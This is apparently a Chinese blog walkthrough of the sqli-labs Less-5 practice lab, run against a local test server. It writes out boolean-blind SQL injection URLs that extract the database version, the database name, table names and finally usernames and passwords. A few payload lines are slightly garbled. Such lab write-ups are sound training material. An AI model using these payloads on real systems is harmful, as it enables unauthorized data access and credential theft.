sqli-labs-master第五关Less-5 Double Query- Single:方式一

简介:

由于第三四关和第一第二关大致相同,我就不写了。


接下来来写第五关的第一种方式。




1,目标网站:



http://127.0.0.1/sqli-labs-master/Less-5/?id=1


当传递的ID为1的时候提示“you are in”


1.png


2,查找注入点:  

http://127.0.0.1/sqli-labs-master/Less-5/?id=1返回错误


当输入上面的url的时候就报错了。我们可以从箭头处看到报错的原因。


2.png


说明把“1’”带入数据库查询了,所以存在注入点


3,查看版本信息:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

返回正常

3.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23


返回错误 所以数据库版本是5.0

4.png



4,判断数据库长度:


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

返回错误

5.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

返回正确

6.png

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

返回错误

所以数据库的名称是8位构成

7.png


5,猜测数据库名称(从第一位开始猜):

1>猜第1

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' %23

返回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'z' %23

返回错误

说明第一位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'s' %23

返回正确

所以第一位是s

 

1>猜第2

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' %23

返回正常


http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sz' %23

返回错误

说明第二位在az之间

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'se' %23

返回正确

所以第二位是e

以此类推,直到推出第8位:最后数据库为security


6,猜测数据库(security)中的表:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n

说明:

a是从0开始第几个表,b是为第几个字符,nASCII所对应的十进制数



7,猜用户:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ord(mid((select ifnull(cast(username as char),0x20)from S. Morder by  id  limit A,1),B,1))=%23

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

8.猜用户和密码:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23 

 

其中为数据库名;M为表名;A为第几个用户;B为第几个字符;NASCII码所对应的十进制数。

例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23



附录:


substr()用于字符串加减


ord()将ASCLL码值转换为字符 示例: ord('a')表示a在ASSCLL码中的序号,为97; ord('b')表示b在ASSCLL码中的序号,为98; 


mid() :字符串截取函数


语法: mid(字符串,指定截取位数,截取N个)


示例


B6=123456789abcdef      =mid(B6,1,13)    结果= 123456789abcd    





IFNULL(expr1,expr2)  


如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。



cast()函数:


参考博客:http://www.studyofnet.com/news/109.html


(1).CAST()函数的参数是一个表达式,它包括用AS关键字分隔的源值和目标数据类型。以下例子用于将文本字符串'12'转换为整型:



SELECT CAST('12' AS int)



(2).返回值是整型值12。如果试图将一个代表小数的字符串转换为整型值,又会出现什么情况呢?



SELECT CAST('12.5' AS int) 



(3).CAST()函数和CONVERT()函数都不能执行四舍五入或截断操作。由于12.5不能用int数据类型来表示,所以对这个函数调用将产生一个错误:


微信公众号



1.jpg


本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2062354


相关文章
|
缓存 负载均衡 监控
每日一博 - 反向代理、API 网关、负载均衡
每日一博 - 反向代理、API 网关、负载均衡
527 0
|
并行计算 Linux C语言
PaddleOCR
PaddleOCR
996 0
|
5月前
|
人工智能 自然语言处理 测试技术
谷歌AI 多模态 Gemini 2.5 Pro的国内使用教程
在人工智能(AI)的星辰大海中,谷歌再次投下一枚重磅炸弹 💣!他们倾注心血打造的智慧结晶
2547 0
|
7月前
|
机器学习/深度学习 人工智能 测试技术
Qwen2.5-Max 再创佳绩,闯入 LiveBench 全球前十
Qwen2.5-Max 再创佳绩,闯入 LiveBench 全球前十
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
|
11月前
|
开发工具 git
LLM-03 大模型 15分钟 FineTuning 微调 GPT2 模型 finetuning GPT微调实战 仅需6GB显存 单卡微调 数据 10MB数据集微调
LLM-03 大模型 15分钟 FineTuning 微调 GPT2 模型 finetuning GPT微调实战 仅需6GB显存 单卡微调 数据 10MB数据集微调
273 0
|
缓存 Linux 开发工具
win10下docker desktop:使用dockerfile基于CentOS:8创建可以使用vim的镜像
win10下docker desktop:使用dockerfile基于CentOS:8创建可以使用vim的镜像
349 0
|
存储 安全 数据挖掘
云时代下,如何高效管理企业数据
简述管理企业数据的一些方式以及企业版网盘与个人版网盘的差异
|
SQL 关系型数据库 MySQL
[网络安全]sqli-labs Less-7 解题详析
[网络安全]sqli-labs Less-7 解题详析
282 0
|
JavaScript Linux 应用服务中间件
Docker部署Node应用简单实践
本文将从零至一,介绍如何在云服务器上通过 Docker 容器运行一个简单的Node应用。
2543 0